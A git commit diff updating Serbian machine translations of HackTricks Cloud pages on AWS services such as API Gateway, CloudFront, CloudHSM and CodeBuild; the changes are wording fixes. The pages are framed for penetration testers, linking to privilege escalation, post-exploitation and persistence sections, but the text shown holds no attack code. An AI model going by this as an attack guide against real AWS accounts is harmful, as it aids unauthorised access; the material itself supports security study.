Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

This commit is contained in:
Translator
2025-01-02 01:29:14 +00:00
parent c60a82f155
commit f97679c6a0
232 changed files with 2353 additions and 2293 deletions
@@ -10,7 +10,7 @@ Usluge koje spadaju pod usluge kontejnera imaju sledeće karakteristike:
- Sama usluga se pokreće na **odvojenim infrastrukturnim instancama**, kao što je EC2.
- **AWS** je odgovoran za **upravljanje operativnim sistemom i platformom**.
- Upravljačka usluga se pruža od strane AWS-a, koja je obično sama usluga za **stvarnu aplikaciju koja se vidi kao kontejneri**.
- Upravljačka usluga se pruža od strane AWS-a, koja je obično sama usluga za **stvarnu aplikaciju koja se vidi kao kontejner**.
- Kao korisnik ovih usluga kontejnera, imate niz odgovornosti u vezi sa upravljanjem i bezbednošću, uključujući **upravljanje bezbednošću pristupa mreži, kao što su pravila liste kontrole pristupa mreži i svi vatrozidi**.
- Takođe, upravljanje identitetom i pristupom na nivou platforme gde to postoji.
- **Primeri** AWS usluga kontejnera uključuju Relational Database Service, Elastic Mapreduce i Elastic Beanstalk.
@@ -20,12 +20,12 @@ Usluge koje spadaju pod usluge kontejnera imaju sledeće karakteristike:
- Ove usluge su **uklonjene, apstrahovane, sa platforme ili sloja upravljanja na kojem su izgrađene cloud aplikacije**.
- Usluge se pristupaju putem krajnjih tačaka koristeći AWS aplikacione programske interfejse, API-je.
- **Osnovna infrastruktura, operativni sistem i platforma se upravljaju od strane AWS-a**.
- Apstrahovane usluge pružaju platformu sa višekratnim korišćenjem na kojoj je osnovna infrastruktura deljena.
- Apstrahovane usluge pružaju platformu sa višestrukim korisnicima na kojoj je osnovna infrastruktura deljena.
- **Podaci su izolovani putem bezbednosnih mehanizama**.
- Apstraktne usluge imaju jaku integraciju sa IAM, a **primeri** apstraktnih usluga uključuju S3, DynamoDB, Amazon Glacier i SQS.
- Apstraktne usluge imaju snažnu integraciju sa IAM, a **primeri** apstraktnih usluga uključuju S3, DynamoDB, Amazon Glacier i SQS.
## Enumeracija usluga
**Stranice ovog odeljka su poređane po AWS usluzi. Tamo ćete moći da pronađete informacije o usluzi (kako funkcioniše i mogućnosti) koje će vam omogućiti da eskalirate privilegije.**
**Stranice ovog odeljka su poređane po AWS uslugama. Tamo ćete moći da pronađete informacije o usluzi (kako funkcioniše i mogućnosti) koje će vam omogućiti da eskalirate privilegije.**
{{#include ../../../banners/hacktricks-training.md}}
@@ -8,27 +8,27 @@
AWS API Gateway je sveobuhvatna usluga koju nudi Amazon Web Services (AWS) dizajnirana za programere da **kreiraju, objavljuju i nadgledaju API-je na velikoj skali**. Funkcioniše kao ulazna tačka za aplikaciju, omogućavajući programerima da uspostave okvir pravila i procedura. Ovaj okvir reguliše pristup spoljnim korisnicima određenim podacima ili funkcionalnostima unutar aplikacije.
API Gateway vam omogućava da definišete **kako bi zahtevi za vaše API-je trebali biti obrađeni**, i može kreirati prilagođene API krajnje tačke sa specifičnim metodama (npr., GET, POST, PUT, DELETE) i resursima. Takođe može generisati klijentske SDK-ove (Softverske razvojne kompleti) kako bi olakšao programerima pozivanje vaših API-ja iz njihovih aplikacija.
API Gateway vam omogućava da definišete **kako bi zahtevi za vaše API-je trebali biti obrađeni**, i može kreirati prilagođene API krajnje tačke sa specifičnim metodama (npr. GET, POST, PUT, DELETE) i resursima. Takođe može generisati klijentske SDK-ove (Softverske razvojne kompleti) kako bi olakšao programerima pozivanje vaših API-ja iz njihovih aplikacija.
### Tipovi API Gateway-a
- **HTTP API**: Kreirajte API-je sa niskom latencijom i troškovno efikasne REST API-je sa ugrađenim funkcijama kao što su OIDC i OAuth2, i podrškom za CORS. Radi sa sledećim: Lambda, HTTP pozadinskim servisima.
- **HTTP API**: Kreirajte REST API-je sa niskom latencijom i troškovima, sa ugrađenim funkcijama kao što su OIDC i OAuth2, i podrškom za CORS. Radi sa sledećim: Lambda, HTTP backend-ima.
- **WebSocket API**: Kreirajte WebSocket API koristeći trajne veze za slučajeve korišćenja u realnom vremenu kao što su chat aplikacije ili kontrolne table. Radi sa sledećim: Lambda, HTTP, AWS uslugama.
- **REST API**: Razvijajte REST API gde dobijate potpunu kontrolu nad zahtevom i odgovorom zajedno sa mogućnostima upravljanja API-jem. Radi sa sledećim: Lambda, HTTP, AWS uslugama.
- **REST API**: Razvijajte REST API gde dobijate potpunu kontrolu nad zahtevima i odgovorima zajedno sa mogućnostima upravljanja API-jem. Radi sa sledećim: Lambda, HTTP, AWS uslugama.
- **REST API Privatni**: Kreirajte REST API koji je dostupan samo iz VPC-a.
### Glavne komponente API Gateway-a
1. **Resursi**: U API Gateway-u, resursi su komponente koje **čine strukturu vašeg API-ja**. Oni predstavljaju **različite putanje ili krajnje tačke** vašeg API-ja i odgovaraju raznim akcijama koje vaš API podržava. Resurs je svaka metoda (npr., GET, POST, PUT, DELETE) **unutar svake putanje** (/, ili /users, ili /user/{id}).
2. **Faze**: Faze u API Gateway-u predstavljaju **različite verzije ili okruženja** vašeg API-ja, kao što su razvoj, testiranje ili produkcija. Možete koristiti faze za upravljanje i implementaciju **više verzija vašeg API-ja istovremeno**, omogućavajući vam da testirate nove funkcije ili ispravke grešaka bez uticaja na produkciono okruženje. Faze takođe **podržavaju varijable faze**, koje su parovi ključ-vrednost koji se mogu koristiti za konfiguraciju ponašanja vašeg API-ja na osnovu trenutne faze. Na primer, mogli biste koristiti varijable faze da usmerite API zahteve na različite Lambda funkcije ili druge pozadinske usluge u zavisnosti od faze.
1. **Resursi**: U API Gateway-u, resursi su komponente koje **čine strukturu vašeg API-ja**. Oni predstavljaju **različite putanje ili krajnje tačke** vašeg API-ja i odgovaraju raznim akcijama koje vaš API podržava. Resurs je svaka metoda (npr. GET, POST, PUT, DELETE) **unutar svake putanje** (/, ili /users, ili /user/{id}).
2. **Faze**: Faze u API Gateway-u predstavljaju **različite verzije ili okruženja** vašeg API-ja, kao što su razvoj, testiranje ili produkcija. Možete koristiti faze za upravljanje i implementaciju **više verzija vašeg API-ja istovremeno**, omogućavajući vam da testirate nove funkcije ili ispravke grešaka bez uticaja na produkciono okruženje. Faze takođe **podržavaju varijable faze**, koje su parovi ključ-vrednost koji se mogu koristiti za konfiguraciju ponašanja vašeg API-ja na osnovu trenutne faze. Na primer, mogli biste koristiti varijable faze da usmerite API zahteve na različite Lambda funkcije ili druge backend usluge u zavisnosti od faze.
- Faza se označava na početku URL-a krajnje tačke API Gateway-a.
3. **Autorizatori**: Autorizatori u API Gateway-u su odgovorni za **kontrolu pristupa vašem API-ju** verifikovanjem identiteta pozivaoca pre nego što dozvole da zahtev nastavi. Možete koristiti **AWS Lambda funkcije** kao prilagođene autorizatore, što vam omogućava da implementirate sopstvenu logiku autentifikacije i autorizacije. Kada zahtev stigne, API Gateway prosleđuje autorizacioni token zahteva Lambda autorizatoru, koji obrađuje token i vraća IAM politiku koja određuje koje akcije pozivalac može da izvrši. API Gateway takođe podržava **ugrađene autorizatore**, kao što su **AWS Identity and Access Management (IAM)** i **Amazon Cognito**.
4. **Politika resursa**: Politika resursa u API Gateway-u je JSON dokument koji **definiše dozvole za pristup vašem API-ju**. Slična je IAM politici, ali je specifično prilagođena za API Gateway. Možete koristiti politiku resursa da kontrolišete ko može pristupiti vašem API-ju, koje metode mogu pozvati, i sa kojih IP adresa ili VPC-a se mogu povezati. **Politike resursa se mogu koristiti u kombinaciji sa autorizatorima** kako bi se obezbedila precizna kontrola pristupa za vaš API.
- Da bi politika imala efekat, API mora biti **ponovo implementiran nakon** što je politika resursa izmenjena.
4. **Politika resursa**: Politika resursa u API Gateway-u je JSON dokument koji **definiše dozvole za pristup vašem API-ju**. Slična je IAM politici, ali je posebno prilagođena za API Gateway. Možete koristiti politiku resursa da kontrolišete ko može pristupiti vašem API-ju, koje metode mogu pozvati i sa kojih IP adresa ili VPC-a se mogu povezati. **Politike resursa se mogu koristiti u kombinaciji sa autorizatorima** kako bi se obezbedila precizna kontrola pristupa za vaš API.
- Da bi promena imala efekat, API treba da bude **ponovo implementiran nakon** što je politika resursa izmenjena.
### Logovanje
Podrazumevano, **CloudWatch Logs** su **isključeni**, **Logovanje pristupa** je **isključeno**, i **X-Ray praćenje** je takođe **isključeno**.
Podrazumevano, **CloudWatch Logs** su **isključeni**, **Access Logging** je **isključen**, a **X-Ray tracing** je takođe **isključen**.
### Enumeracija
@@ -139,7 +139,7 @@ Moguće je postaviti da metode unutar putanje (resursa) zahtevaju IAM autentifik
<figure><img src="https://lh3.googleusercontent.com/GGx-kfqNXu6zMqGidnO8_eR88fYPpJG-wNuBBnedAJntiRUEPTEScl7OvWthGYRiI_msYCdC6oBFvJc827Tb4-4UogxpOyrEXyst-8IDzP9DC2NOtXSY7w58L0baCAcBQjSyvBhJREvWWCtiboNYPSKuEw=s2048" alt=""><figcaption></figcaption></figure>
Kada je ovo postavljeno, dobićete grešku `{"message":"Missing Authentication Token"}` kada pokušate da dođete do krajnje tačke bez ikakve autorizacije.
Kada je ovo postavljeno, dobićete grešku `{"message":"Missing Authentication Token"}` kada pokušate da dođete do krajnje tačke bez bilo kakve autorizacije.
Jedan jednostavan način da generišete očekivani token od strane aplikacije je korišćenje **curl**.
```bash
@@ -184,14 +184,14 @@ response = requests.get(url, auth=awsauth)
print(response.text)
```
### Custom Lambda Authorizer
### Prilagođeni Lambda Autorizator
Moguće je koristiti lambda funkciju koja na osnovu datog tokena će **vratiti IAM politiku** koja ukazuje da li je korisnik **ovlašćen da pozove API krajnju tačku**.\
Moguće je koristiti lambda funkciju koja na osnovu datog tokena **vraća IAM politiku** koja ukazuje da li je korisnik **ovlašćen da pozove API krajnju tačku**.\
Možete postaviti svaku metodu resursa koja će koristiti autorizator.
<details>
<summary>Primer koda Lambda autorizatora</summary>
<summary>Primer koda Lambda Autorizatora</summary>
```python
import json
@@ -244,7 +244,7 @@ Pozovite ga sa nečim poput:
> [!WARNING]
> U zavisnosti od Lambda koda, ova autorizacija može biti ranjiva
Imajte na umu da ako se **generiše i vrati politika odbijanja**, greška koju vraća API Gateway je: `{"Message":"User is not authorized to access this resource with an explicit deny"}`
Imajte na umu da ako se **generiše i vrati deny policy**, greška koju vraća API Gateway je: `{"Message":"User is not authorized to access this resource with an explicit deny"}`
Na ovaj način možete **identifikovati ovu autorizaciju** koja je na snazi.
@@ -256,7 +256,7 @@ Moguće je postaviti API krajnje tačke koje **zahtevaju važeći API ključ** z
Moguće je generisati API ključeve u API Gateway portalu i čak postaviti koliko često mogu biti korišćeni (u smislu zahteva po sekundi i u smislu zahteva po mesecu).
Da bi API ključ radio, potrebno je dodati ga u **Plan korišćenja**, ovaj plan korišćenja mora biti dodat u **API fazu** i povezana API faza treba da ima konfigurisano **ograničenje metoda** za **krajnju tačku** koja zahteva API ključ:
Da bi API ključ radio, potrebno je dodati ga u **Usage Plan**, ovaj plan korišćenja mora biti dodat u **API Stage** i povezani API stage treba da ima konfigurisano **metod throttling** za **krajnju tačku** koja zahteva API ključ:
<figure><img src="../../../images/image (198).png" alt=""><figcaption></figcaption></figure>
@@ -272,13 +272,13 @@ Da bi API ključ radio, potrebno je dodati ga u **Plan korišćenja**, ovaj plan
../aws-privilege-escalation/aws-apigateway-privesc.md
{{#endref}}
## Post Eksploatacija
## Post Exploatacija
{{#ref}}
../aws-post-exploitation/aws-api-gateway-post-exploitation.md
{{#endref}}
## Postojanost
## Persistencija
{{#ref}}
../aws-persistence/aws-api-gateway-persistence.md
@@ -39,11 +39,11 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite cloudformation d
### Post-Exploitation
Proverite za **tajne** ili osetljive informacije u **šablonu, parametrima i izlazu** svake CloudFormation
Proverite za **tajne** ili osetljive informacije u **šablonu, parametrima i izlazu** svakog CloudFormation-a
## Codestar
AWS CodeStar je usluga za kreiranje, upravljanje i rad sa projektima razvoja softvera na AWS-u. Možete brzo razvijati, graditi i implementirati aplikacije na AWS-u sa AWS CodeStar projektom. AWS CodeStar projekat kreira i **integriše AWS usluge** za vaš alat za razvoj projekta. U zavisnosti od vašeg izbora šablona AWS CodeStar projekta, taj alat može uključivati kontrolu verzija, izgradnju, implementaciju, virtuelne servere ili resurse bez servera, i još mnogo toga. AWS CodeStar takođe **upravlja dozvolama potrebnim za korisnike projekta** (koji se nazivaju članovi tima).
AWS CodeStar je usluga za kreiranje, upravljanje i rad na projektima razvoja softvera na AWS-u. Možete brzo razvijati, graditi i implementirati aplikacije na AWS-u sa AWS CodeStar projektom. AWS CodeStar projekat kreira i **integriše AWS usluge** za vaš alat za razvoj projekta. U zavisnosti od vašeg izbora šablona AWS CodeStar projekta, taj alat može uključivati kontrolu verzija, izgradnju, implementaciju, virtuelne servere ili serverless resurse, i još mnogo toga. AWS CodeStar takođe **upravlja dozvolama potrebnim za korisnike projekta** (koji se nazivaju članovi tima).
### Enumeration
```bash
@@ -4,17 +4,17 @@
## CloudFront
CloudFront je AWS-ova **mreža za isporuku sadržaja koja ubrzava distribuciju** vašeg statičkog i dinamičkog sadržaja putem svoje svetske mreže ivica. Kada koristite zahtev za sadržajem koji hostujete putem Amazon CloudFront-a, zahtev se usmerava na najbližu ivicu koja pruža najnižu latenciju za najbolju performansu. Kada su **CloudFront pristupni logovi** omogućeni, možete zabeležiti zahtev svakog korisnika koji traži pristup vašem veb sajtu i distribuciji. Kao i kod S3 pristupnih logova, ovi logovi su takođe **smešteni na Amazon S3 za trajno i postojano skladištenje**. Nema troškova za omogućavanje logovanja, međutim, pošto su logovi smešteni u S3, bićete naplaćeni za skladištenje koje koristi S3.
CloudFront je AWS-ova **mreža za isporuku sadržaja koja ubrzava distribuciju** vašeg statičkog i dinamičkog sadržaja kroz svoju svetsku mrežu ivica. Kada koristite zahtev za sadržajem koji hostujete putem Amazon CloudFront-a, zahtev se usmerava na najbližu ivicu koja pruža najnižu latenciju za najbolju performansu. Kada su **CloudFront pristupni logovi** omogućeni, možete zabeležiti zahtev svakog korisnika koji traži pristup vašem veb sajtu i distribuciji. Kao i kod S3 pristupnih logova, ovi logovi su takođe **smešteni na Amazon S3 za trajno i postojano skladištenje**. Nema troškova za omogućavanje logovanja, međutim, pošto su logovi smešteni u S3, bićete naplaćeni za skladištenje koje koristi S3.
Log fajlovi beleže podatke tokom određenog vremenskog perioda i zavisno od broja zahteva koje Amazon CloudFront primi za tu distribuciju, zavisiće i broj generisanih log fajlova. Važno je znati da se ovi log fajlovi ne kreiraju ili ne pišu na S3. S3 je jednostavno mesto gde se isporučuju kada je log fajl pun. **Amazon CloudFront zadržava ove logove dok nisu spremni za isporuku na S3**. Ponovo, u zavisnosti od veličine ovih log fajlova, ova isporuka može trajati **između jednog i 24 sata**.
Log fajlovi beleže podatke tokom određenog vremenskog perioda i zavisno od broja zahteva koje Amazon CloudFront primi za tu distribuciju, zavisiće i količina generisanih log fajlova. Važno je znati da se ovi log fajlovi ne kreiraju ili ne pišu na S3. S3 je jednostavno mesto gde se isporučuju kada je log fajl pun. **Amazon CloudFront zadržava ove logove dok nisu spremni da budu isporučeni S3**. Ponovo, u zavisnosti od veličine ovih log fajlova, ova isporuka može trajati **između jednog i 24 sata**.
**Po defaultu, logovanje kolačića je onemogućeno** ali ga možete omogućiti.
**Podrazumevano je logovanje kolačića onemogućeno** ali ga možete omogućiti.
### Functions
### Funkcije
Možete kreirati funkcije u CloudFront-u. Ove funkcije će imati svoj **endpoint u cloudfront-u** definisan i izvršiće deklarisani **NodeJS kod**. Ovaj kod će se izvršavati unutar **sandbox-a** na mašini koja radi pod AWS upravljanom mašinom (biće vam potrebna zaobilaženje sandbox-a da biste uspeli da pobegnete u osnovni OS).
Možete kreirati funkcije u CloudFront-u. Ove funkcije će imati svoj **endpoint u cloudfront-u** definisan i izvršiće deklarisani **NodeJS kod**. Ovaj kod će se izvršavati unutar **sandbox-a** na mašini koja radi pod AWS upravljanom mašinom (biće vam potrebna zaobilaženje sandbox-a da biste uspeli da pobegnete na osnovni OS).
Pošto se funkcije ne izvršavaju u korisnikovom AWS nalogu, nijedna IAM uloga nije povezana, tako da nije moguće direktno privilegije eskalirati zloupotrebom ove funkcije.
Pošto se funkcije ne izvršavaju u korisnikovom AWS nalogu, nijedna IAM uloga nije povezana, tako da nije moguće direktno privesc-ovati zloupotrebom ove funkcije.
### Enumeration
```bash
@@ -4,7 +4,7 @@
## HSM - Hardware Security Module
Cloud HSM je FIPS 140 nivo dva validirani **hardverski uređaj** za sigurno skladištenje kriptografskih ključeva (napomena: CloudHSM je hardverski uređaj, nije virtuelizovana usluga). To je SafeNetLuna 7000 uređaj sa preinstaliranim verzijom 5.3.13. Postoje dve verzije firmvera i koja ćete izabrati zavisi od vaših tačnih potreba. Jedna je za usklađenost sa FIPS 140-2, a postoji i novija verzija koja se može koristiti.
Cloud HSM je FIPS 140 nivo dva validirani **hardverski uređaj** za sigurno skladištenje kriptografskih ključeva (napomena: CloudHSM je hardverski uređaj, nije virtuelizovana usluga). To je SafeNetLuna 7000 uređaj sa preinstaliranim 5.3.13. Postoje dve verzije firmvera i koja god da izaberete, to zavisi od vaših tačnih potreba. Jedna je za FIPS 140-2 usklađenost, a postoji i novija verzija koja se može koristiti.
Neobična karakteristika CloudHSM-a je to što je fizički uređaj, i stoga **nije deljen sa drugim korisnicima**, ili kako se to obično naziva, multi-tenant. To je posvećen uređaj koji je isključivo dostupan vašim radnim opterećenjima.
@@ -12,24 +12,24 @@ Obično, uređaj je dostupan u roku od 15 minuta pod pretpostavkom da postoji ka
Pošto je ovo fizički uređaj posvećen vama, **ključevi se čuvaju na uređaju**. Ključevi treba da budu **replicirani na drugi uređaj**, sačuvani na offline skladištu, ili eksportovani na rezervni uređaj. **Ovaj uređaj nije podržan** od strane S3 ili bilo koje druge usluge na AWS-u kao što je KMS.
U **CloudHSM-u**, morate **sami skalirati uslugu**. Morate obezbediti dovoljno CloudHSM uređaja da obradite sve vaše potrebe za enkripcijom na osnovu kriptografskih algoritama koje ste izabrali da implementirate za vaše rešenje.\
Skaliranje usluge za upravljanje ključevima vrši AWS i automatski se skalira na zahtev, tako da kako se vaša upotreba povećava, tako se može povećati i broj CloudHSM uređaja koji su potrebni. Imajte ovo na umu dok skalirate vaše rešenje i ako vaše rešenje ima automatsko skaliranje, uverite se da je vaš maksimalni kapacitet uzet u obzir sa dovoljno CloudHSM uređaja da podrži rešenje.
U **CloudHSM-u**, morate **sami skalirati uslugu**. Morate obezbediti dovoljno CloudHSM uređaja da biste zadovoljili svoje potrebe za enkripcijom na osnovu kriptografskih algoritama koje ste izabrali da implementirate za svoje rešenje.\
Skaliranje usluge za upravljanje ključevima vrši AWS i automatski se skalira na zahtev, tako da kako se vaša upotreba povećava, tako se može povećati i broj CloudHSM uređaja koji su potrebni. Imajte ovo na umu dok skalirate svoje rešenje i ako vaše rešenje ima automatsko skaliranje, uverite se da je vaš maksimalni kapacitet obezbeđen sa dovoljno CloudHSM uređaja da podrži rešenje.
Baš kao i skaliranje, **performanse su na vama sa CloudHSM-om**. Performanse variraju u zavisnosti od toga koji kriptografski algoritam se koristi i koliko često treba da pristupite ili preuzmete ključeve za enkripciju podataka. Performanse usluge za upravljanje ključevima se obezbeđuju od strane Amazona i automatski se skaliraju kako to zahteva potražnja. Performanse CloudHSM-a se postižu dodavanjem više uređaja i ako vam je potrebna veća performansa, ili dodajete uređaje ili menjate metodu enkripcije na algoritam koji je brži.
Baš kao i skaliranje, **performanse su na vama sa CloudHSM-om**. Performanse variraju u zavisnosti od toga koji se kriptografski algoritam koristi i koliko često treba da pristupite ili preuzmete ključeve za enkripciju podataka. Performanse usluge za upravljanje ključevima se obezbeđuju od strane Amazona i automatski se skaliraju kako to zahteva potražnja. Performanse CloudHSM-a se postižu dodavanjem više uređaja i ako vam je potrebna veća performansa, ili dodajete uređaje ili menjate metodu enkripcije na algoritam koji je brži.
Ako je vaše rešenje **multi-region**, trebate dodati nekoliko **CloudHSM uređaja u drugoj regiji i rešiti međuregionalnu povezanost putem privatne VPN veze** ili nekog metoda kako biste osigurali da je saobraćaj uvek zaštićen između uređaja na svakom sloju veze. Ako imate multi-region rešenje, morate razmisliti o tome kako da **replicirate ključeve i postavite dodatne CloudHSM uređaje u regijama u kojima poslujete**. Možete vrlo brzo doći u situaciju gde imate šest ili osam uređaja raspoređenih po više regija, omogućavajući potpunu redundanciju vaših kriptografskih ključeva.
Ako je vaše rešenje **multi-region**, trebali biste dodati nekoliko **CloudHSM uređaja u drugoj regiji i uspostaviti međuregionalnu povezanost putem privatne VPN veze** ili nekog metoda kako biste osigurali da je saobraćaj uvek zaštićen između uređaja na svakom sloju veze. Ako imate multi-region rešenje, morate razmisliti o tome kako da **replicirate ključeve i postavite dodatne CloudHSM uređaje u regijama u kojima poslujete**. Možete vrlo brzo doći u situaciju gde imate šest ili osam uređaja raspoređenih po više regija, omogućavajući potpunu redundanciju vaših kriptografskih ključeva.
**CloudHSM** je usluga klase preduzeća za sigurno skladištenje ključeva i može se koristiti kao **root of trust za preduzeće**. Može čuvati privatne ključeve u PKI i ključeve sertifikacione vlasti u X509 implementacijama. Pored simetričnih ključeva koji se koriste u simetričnim algoritmima kao što je AES, **KMS skladišti i fizički štiti samo simetrične ključeve (ne može delovati kao sertifikaciona vlast)**, tako da ako trebate da skladištite PKI i CA ključeve, jedan ili dva ili tri CloudHSM-a bi mogli biti vaše rešenje.
**CloudHSM** je usluga klase preduzeća za sigurno skladištenje ključeva i može se koristiti kao **root of trust za preduzeće**. Može skladištiti privatne ključeve u PKI i ključeve sertifikacione vlasti u X509 implementacijama. Pored simetričnih ključeva koji se koriste u simetričnim algoritmima kao što je AES, **KMS skladišti i fizički štiti samo simetrične ključeve (ne može delovati kao sertifikaciona vlast)**, tako da ako trebate skladištiti PKI i CA ključeve, jedan ili dva ili tri CloudHSM-a mogli bi biti vaše rešenje.
**CloudHSM je znatno skuplji od usluge za upravljanje ključevima**. CloudHSM je hardverski uređaj, tako da imate fiksne troškove za obezbeđivanje CloudHSM uređaja, a zatim satni trošak za rad uređaja. Trošak se množi sa onoliko CloudHSM uređaja koliko je potrebno da se postignu vaši specifični zahtevi.\
Pored toga, treba razmotriti i kupovinu softvera treće strane kao što su SafeNet ProtectV softverski paketi i vreme i trud potrebni za integraciju. Usluga za upravljanje ključevima je zasnovana na upotrebi i zavisi od broja ključeva koje imate i operacija ulaza i izlaza. Kako usluga za upravljanje ključevima obezbeđuje besprekornu integraciju sa mnogim AWS uslugama, troškovi integracije bi trebali biti znatno niži. Troškovi bi trebali biti sekundarni faktor u rešenjima za enkripciju. Enkripcija se obično koristi za sigurnost i usklađenost.
Pored toga, mora se uzeti u obzir i kupovina softvera treće strane kao što su SafeNet ProtectV softverski paketi i vreme i trud za integraciju. Usluga za upravljanje ključevima je zasnovana na upotrebi i zavisi od broja ključeva koje imate i operacija ulaza i izlaza. Kako usluga za upravljanje ključevima pruža besprekornu integraciju sa mnogim AWS uslugama, troškovi integracije bi trebali biti znatno niži. Troškovi bi trebali biti sekundarni faktor u rešenjima za enkripciju. Enkripcija se obično koristi za sigurnost i usklađenost.
**Sa CloudHSM-om samo vi imate pristup ključevima** i bez previše detalja, sa CloudHSM-om upravljate svojim ključevima. **Sa KMS-om, vi i Amazon zajednički upravljate vašim ključevima**. AWS ima mnoge politike zaštite od zloupotrebe i **i dalje ne može pristupiti vašim ključevima u bilo kojem rešenju**. Glavna razlika je usklađenost u vezi sa vlasništvom i upravljanjem ključevima, a sa CloudHSM-om, ovo je hardverski uređaj koji vi upravljate i održavate sa ekskluzivnim pristupom samo vama.
**Sa CloudHSM-om samo vi imate pristup ključevima** i bez previše detalja, sa CloudHSM-om upravljate svojim ključevima. **Sa KMS-om, vi i Amazon zajednički upravljate vašim ključevima**. AWS ima mnoge politike zaštite od zloupotrebe i **i dalje ne može pristupiti vašim ključevima u bilo kojem rešenju**. Glavna razlika je usklađenost u vezi sa vlasništvom i upravljanjem ključevima, a sa CloudHSM-om, ovo je hardverski uređaj koji vi upravljate i održavate sa isključivim pristupom samo vama.
### CloudHSM Suggestions
1. Uvek implementirajte CloudHSM u **HA postavci** sa najmanje dva uređaja u **odvojenim dostupnim zonama**, a ako je moguće, implementirajte treći ili na lokaciji ili u drugoj regiji na AWS-u.
2. Budite oprezni prilikom **inicijalizacije** **CloudHSM-a**. Ova akcija **će uništiti ključeve**, tako da ili imajte drugu kopiju ključeva ili budite apsolutno sigurni da ih nemate i nikada, nikada nećete trebati ove ključeve za dekripciju bilo kojih podataka.
2. Budite oprezni prilikom **inicijalizacije** **CloudHSM-a**. Ova akcija **će uništiti ključeve**, tako da ili imajte drugu kopiju ključeva ili budite apsolutno sigurni da ih nećete i nikada nećete trebati za dekripciju bilo kojih podataka.
3. CloudHSM samo **podržava određene verzije firmvera** i softvera. Pre nego što izvršite bilo kakvo ažuriranje, uverite se da je firmver i/ili softver podržan od strane AWS-a. Uvek možete kontaktirati AWS podršku da proverite ako je vodič za nadogradnju nejasan.
4. **Konfiguracija mreže nikada ne bi trebala biti promenjena.** Zapamtite, to je u AWS data centru i AWS prati osnovni hardver za vas. To znači da ako hardver otkaže, oni će ga zameniti za vas, ali samo ako znaju da je otkazao.
5. **SysLog prosleđivanje ne bi trebalo biti uklonjeno ili promenjeno**. Uvek možete **dodati** SysLog prosleđivač da usmerite logove na vaš vlastiti alat za prikupljanje.
@@ -38,13 +38,13 @@ Pored toga, treba razmotriti i kupovinu softvera treće strane kao što su SafeN
Početna naknada za CloudHSM je 5.000 dolara za dodeljivanje hardverskog uređaja posvećenog vašoj upotrebi, a zatim postoji satna naknada povezana sa radom CloudHSM-a koja trenutno iznosi 1,88 dolara po satu rada, ili otprilike 1.373 dolara mesečno.
Najčešći razlog za korišćenje CloudHSM-a su standardi usklađenosti koje morate ispuniti iz regulatornih razloga. **KMS ne nudi podršku za podatke za asimetrične ključeve. CloudHSM vam omogućava da sigurno skladištite asimetrične ključeve**.
Najčešći razlog za korišćenje CloudHSM-a su standardi usklađenosti koje morate ispuniti iz regulatornih razloga. **KMS ne nudi podršku za asimetrične ključeve. CloudHSM vam omogućava da sigurno skladištite asimetrične ključeve**.
**Javni ključ se instalira na HSM uređaju tokom dodeljivanja** tako da možete pristupiti CloudHSM instanci putem SSH.
### Šta je Hardverski Bezbednosni Modul
Hardverski bezbednosni modul (HSM) je posvećen kriptografski uređaj koji se koristi za generisanje, skladištenje i upravljanje kriptografskim ključevima i zaštitu osetljivih podataka. Dizajniran je da obezbedi visok nivo sigurnosti fizičkim i elektronskim izolovanjem kriptografskih funkcija od ostatka sistema.
Hardverski bezbednosni modul (HSM) je posvećen kriptografski uređaj koji se koristi za generisanje, skladištenje i upravljanje kriptografskim ključevima i zaštitu osetljivih podataka. Dizajniran je da pruži visok nivo sigurnosti fizičkim i elektronskim izolovanjem kriptografskih funkcija od ostatka sistema.
Način na koji HSM funkcioniše može varirati u zavisnosti od specifičnog modela i proizvođača, ali generalno, sledeći koraci se dešavaju:
@@ -52,11 +52,11 @@ Način na koji HSM funkcioniše može varirati u zavisnosti od specifičnog mode
2. **Skladištenje ključeva**: Ključ se **sigurno skladišti unutar HSM-a, gde mu mogu pristupiti samo ovlašćeni korisnici ili procesi**.
3. **Upravljanje ključevima**: HSM pruža niz funkcija upravljanja ključevima, uključujući rotaciju ključeva, rezervnu kopiju i opoziv.
4. **Kriptografske operacije**: HSM obavlja niz kriptografskih operacija, uključujući enkripciju, dekripciju, digitalni potpis i razmenu ključeva. Ove operacije se **izvode unutar sigurnog okruženja HSM-a**, što štiti od neovlašćenog pristupa i manipulacije.
5. **Audit logovanje**: HSM beleži sve kriptografske operacije i pokušaje pristupa, što se može koristiti za usklađenost i bezbednosno reviziju.
5. **Audit logovanje**: HSM beleži sve kriptografske operacije i pokušaje pristupa, što se može koristiti za usklađenost i svrhe bezbednosnog audita.
HSM-ovi se mogu koristiti za širok spektar aplikacija, uključujući sigurne online transakcije, digitalne sertifikate, sigurnu komunikaciju i enkripciju podataka. Često se koriste u industrijama koje zahtevaju visok nivo sigurnosti, kao što su finansije, zdravstvo i vlada.
Sve u svemu, visok nivo sigurnosti koji pružaju HSM-ovi čini **veoma teškim da se sirovi ključevi izvade iz njih, a pokušaj da se to uradi često se smatra kršenjem sigurnosti**. Međutim, može postojati **određeni scenariji** u kojima bi **sirovi ključ mogao biti izvučen** od strane ovlašćenog osoblja za specifične svrhe, kao što je slučaj postupka oporavka ključeva.
Sve u svemu, visok nivo sigurnosti koji pružaju HSM-ovi čini **veoma teškim da se sirovi ključevi izvade iz njih, a pokušaj da se to uradi često se smatra kršenjem sigurnosti**. Međutim, može postojati **određeni scenariji** u kojima bi **sirovi ključ mogao biti izvučen** od strane ovlašćenog osoblja za specifične svrhe, kao što je slučaj procedure oporavka ključeva.
### Enumeracija
```
@@ -4,7 +4,7 @@
## CodeBuild
AWS **CodeBuild** se prepoznaje kao **potpuno upravljana usluga kontinuirane integracije**. Primarna svrha ove usluge je automatizacija sekvence kompajliranja izvornog koda, izvršavanja testova i pakovanja softvera za svrhe implementacije. Dominantna prednost koju nudi CodeBuild leži u njegovoj sposobnosti da olakša korisnicima potrebu za obezbeđivanjem, upravljanjem i skaliranjem svojih build servera. Ova pogodnost je rezultat toga što sama usluga upravlja tim zadacima. Osnovne karakteristike AWS CodeBuild obuhvataju:
